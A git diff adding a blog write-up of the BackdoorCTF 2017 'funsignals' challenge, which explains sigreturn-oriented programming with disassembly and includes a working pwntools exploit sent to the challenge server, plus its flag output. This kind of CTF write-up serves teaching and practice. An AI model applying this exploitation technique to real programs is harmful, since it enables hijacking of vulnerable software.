diff options
Diffstat (limited to 'posts/BackdoorCTF 2017: FUNSIGNALS/backdoorctf-2017-funsignals.org')
| -rw-r--r-- | posts/BackdoorCTF 2017: FUNSIGNALS/backdoorctf-2017-funsignals.org | 107 |
1 files changed, 107 insertions, 0 deletions
diff --git a/posts/BackdoorCTF 2017: FUNSIGNALS/backdoorctf-2017-funsignals.org b/posts/BackdoorCTF 2017: FUNSIGNALS/backdoorctf-2017-funsignals.org new file mode 100644 index 0000000..2111955 --- /dev/null +++ b/posts/BackdoorCTF 2017: FUNSIGNALS/backdoorctf-2017-funsignals.org @@ -0,0 +1,107 @@ +#+TITLE: BackdoorCTF 2017: FUNSIGNALS +#+DATE: <2017-09-24 Thu> +#+TAGS: writeup, security, capture-the-flag, binary-exploitation, x86, linux + +"funsignals" was a 250 point binary exploitation challenge with 58 solves. The +challenge itself was a very trivial example of sigreturn-oriented programming. + +Sigreturn-oriented programming is a means of getting values into certain +registers without having to use ROP gadgets that pop values from the stack. It's +a technique that relies on how UNIX-like operating systems implement signals - +to quote an [[https://lwn.net/Articles/676803/][article from LWN on the subject]], "when a signal is delivered to a +process, execution jumps to the designated signal handler; when the handler is +done, control returns to the location where execution was interrupted. Signals +are a form of software interrupt, and all of the usual interrupt-like accounting +must be dealt with. In particular, before the kernel can deliver a signal, it +must make a note of the current execution context, including the values stored +in all of the processor registers." + +That "execution context" is quite simply a structure stored on the stack, which +is colloquially known as the "sigcontext" structure and is defined in the +architecture-specific headers of the Linux kernel. x86, for example is found at +[[http://elixir.free-electrons.com/linux/latest/source/arch/x86/include/uapi/asm/sigcontext.h][=arch/x86/include/uapi/asm/sigcontext.h=]]. + +We're given a small amd64 Linux binary for the challenge. Its code is only a few +bytes long: + +#+BEGIN_SRC asm :hl_lines 0 +;-- _start: +0x10000000 31c0 xorl %eax, %eax +0x10000002 31ff xorl %edi, %edi +0x10000004 31d2 xorl %edx, %edx +0x10000006 b604 movb $4, %dh +0x10000008 4889e6 movq %rsp, %rsi +0x1000000b 0f05 syscall +0x1000000d 31ff xorl %edi, %edi +0x1000000f 6a0f pushq $0xf +0x10000011 58 popq %rax +0x10000012 0f05 syscall +0x10000014 cc int3 +;-- syscall: +0x10000015 0f05 syscall +0x10000017 4831ff xorq %rdi, %rdi +0x1000001a 48c7c03c0000. movq $0x3c, %rax +0x10000021 0f05 syscall +#+END_SRC + +Don't be intimidated by the use of the seemingly uncommon =syscall= instruction, +the portion before the 'syscall' symbol is equivalent to the following C code. + +#+BEGIN_SRC c :hl_lines 0 +char buf[0x400]; +read(0, buf, 0x400); +sigreturn(); +#+END_SRC + +=sigreturn(2)= is a system call you never use in practice, but as we mentioned +earlier, the process needs to restore the context when it returns from a signal +handler. This is how it's done. =sigreturn(2)= essentially pops the =sigcontext= +structure from the stack and fills the proper registers. Also, that =int3= +instruction should be a hint to us that we'll have to manipulate the instruction +pointer, too, since the program would abort if we hit that. + +A few bytes following the binary's code is a string that sticks out like a sore +thumb: ~fake_flag_here_as_original_is_at_server~. To get the flag, we're going to +want to print out whatever's at that address, which we can do with the =sys_write= +system call. We're going to want to load =0x01=, the syscall number for =sys_write=, +into =%rax=, =0x01= into =%rdi= for =stdout=, =0x10000023= into =%rsi= for the address of +the flag we want to print, and =0x29= into =%rdx= for the approximate length of the +flag. Once the registers are all set up, we're going to want to invoke the +kernel, so we'll set =%rip= to =0x10000015= - where there's a =syscall= instruction +followed by a clean exit. To load all of those registers, we will fill out a +sigcontext frame containing the values. + +Now, I would highly advise against manually packing the =sigcontext= structure, +as there are a few undocumented fields that can and will cause segmentation +faults coming from seemingly nowhere. [[https://docs.pwntools.com/en/stable/][pwntools]] provides the =pwnlib.rop.srop= +package for creating sigcontext frames, and the API is simple enough to +understand just from the exploit code. + +#+BEGIN_SRC python :hl_lines 0 +#!/usr/bin/env python + +from pwn import * + + +SIGCONTEXT = SigreturnFrame(arch="amd64") +SIGCONTEXT.rax = 0x01 +SIGCONTEXT.rdi = 0x01 +SIGCONTEXT.rsi = 0x10000023 +SIGCONTEXT.rdx = 0x29 +SIGCONTEXT.rip = 0x10000015 + +proc = remote("163.172.176.29", 9034) +proc.sendline(bytes(SIGCONTEXT)) +print(proc.recv()) +#+END_SRC + +#+BEGIN_SRC +[jakob@Epsilon funsignals]$ ./exploit.py +[+] Opening connection to 163.172.176.29 on port 9034: Done +b'flag{W3lc0m3_T0_th3_n3w_w0rld_OF_S1gn4l5}' +[*] Closed connection to 163.172.176.29 port 9034 +#+END_SRC + +As an aside, you typically won't have an explicit call to =sigreturn(2)= in the +binary. Sigreturn-oriented programming is most commonly combined with ROP, where +a gadget to load =0xf= into =%rax= and a gadget to perform a syscall are used. |